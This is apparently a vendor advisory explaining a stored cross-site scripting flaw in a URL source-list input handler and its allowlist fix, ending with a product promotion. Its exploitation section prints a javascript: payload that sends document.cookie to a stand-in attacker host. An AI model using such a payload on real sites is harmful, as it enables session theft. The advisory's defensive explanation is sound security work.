Affected Versions
| Affected | not applicable (first-party code) — all versions prior to fix commit |
| Fixed in | not applicable (first-party code) — see fix commit |
| Ecosystem | not applicable (first-party code) |
| CVE / GHSA | not assigned |
| CWE | unknown |
Introduction
A stored cross-site scripting vector existed in the application's source list configuration handler, specifically within the addSourceInput() function responsible for building dynamic input rows. The function accepted a value parameter from saved configuration data and assigned it directly to input.value without validating the URL scheme. Because input.type = 'url' provides only advisory validation and JavaScript property assignment bypasses it entirely, javascript: URLs could persist through save/load cycles and execute when later triggered through user interaction or programmatic access.
The Vulnerability Explained
The vulnerable code pattern was straightforward but easily overlooked. The addSourceInput() function created a new input element and immediately assigned the provided value:
function addSourceInput(value = '') {
const list = $('lx-source-list'); if (list.children.length >= 10) return;
const row = document.createElement('div'); row.className = 'source-row';
const input = document.createElement('input'); input.type = 'url'; input.placeholder = 'https://example.com/source.js'; input.value = value;
The critical line is input.value = value. The type = 'url' declaration creates a semantic hint for browsers and enables URL-pattern keyboard layouts, but it does not enforce protocol restrictions at the JavaScript level. Any string can be assigned to input.value, including javascript:alert(document.cookie)//http://evil.com.
Exploitation Scenario
An attacker with access to the source configuration interface could enter a payload like:
javascript:fetch('https://attacker.com/steal?c='+document.cookie)//https://example.com/legit.js
This value would be saved to the application's configuration store. When the source list was later rendered via renderSourceList(), the payload would be passed to addSourceInput() and assigned to input.value. If any downstream code accessed this input's value and used it in a context that executed JavaScript—such as assigning it to location.href, injecting it into an href attribute, or passing it to window.open()—the attacker's code would execute with full access to the page's origin, cookies, and DOM.
The //http://evil.com suffix is a comment trick that satisfies casual visual inspection, making the payload appear to be a legitimate HTTPS URL.
The Fix
The remediation introduces a dedicated validation helper and applies it at the assignment point:
function isSafeSourceUrl(value) { return value === '' || /^https?:\/\//i.test(value); }
function addSourceInput(value = '') {
const list = $('lx-source-list'); if (list.children.length >= 10) return;
const row = document.createElement('div'); row.className = 'source-row';
const input = document.createElement('input'); input.type = 'url'; input.placeholder = 'https://example.com/source.js'; input.value = isSafeSourceUrl(value) ? value : '';
The isSafeSourceUrl() function enforces a strict allowlist: only empty strings and strings beginning with http:// or https:// (case-insensitive) are permitted. The ternary operator isSafeSourceUrl(value) ? value : '' ensures that any invalid URL—including javascript:, data:, vbscript:, and other dangerous schemes—is replaced with an empty string before reaching the DOM.
This approach was chosen over sanitization (stripping the scheme) because malformed or attacker-controlled URLs have no legitimate use in this context. Emptying the field provides clear visual feedback that the source was rejected.
Key Takeaways
-
input.type = 'url'is not a security boundary — it validates user typing in interactive browsers but imposes no restrictions on programmaticvalueassignment. Always validate URL schemes explicitly when accepting external data. -
The
javascript:protocol survives persistence layers — because the payload is a valid string, it passes through JSON serialization, database storage, and API responses unchanged. Validation must occur at every trust boundary, including client-side reconstruction. -
Allowlist validation outperforms blocklisting — the fix uses
/^https?:\/\//irather than attempting to detect and removejavascript:. New attack schemes emerge regularly; an allowlist of known-safe protocols is more maintainable. -
Source list interfaces are high-value targets — configuration panels that accept URLs for external resources are natural injection points. These often receive less scrutiny than primary input forms but frequently feed into security-sensitive operations like script loading or navigation.
How Orbis AppSec Detected This
Source: The value parameter of addSourceInput(), populated from saved configuration data passed through renderSourceList()
Sink: The input.value property assignment, which accepts arbitrary strings including javascript: URLs
Missing control: No validation of the URL scheme before DOM insertion; reliance on type="url" for security rather than semantic purposes
CWE: unknown
Fix: Added isSafeSourceUrl() helper with /^https?:\/\//i regex to enforce HTTP/HTTPS-only values, replacing invalid inputs with empty strings
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This vulnerability demonstrates how client-side URL inputs can become persistent XSS vectors when validation assumptions break down. The addSourceInput() function's direct assignment to input.value created a gap between the intended security model (HTTPS sources only) and the actual behavior (any string accepted). The isSafeSourceUrl() helper closes this gap with explicit protocol checking, ensuring that only legitimate web URLs enter the application's source configuration.
For developers maintaining similar dynamic form builders: inspect every value assignment to input elements, especially when data originates from storage rather than immediate user typing. The HTML5 validation API and the JavaScript property interface operate on different rules—security belongs in the latter.